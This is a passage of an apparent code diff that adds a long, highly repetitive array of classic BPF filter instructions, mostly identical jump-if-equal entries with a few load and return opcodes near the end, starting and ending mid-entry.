.jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000053, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000051, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000052, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x0000002a, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000018, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 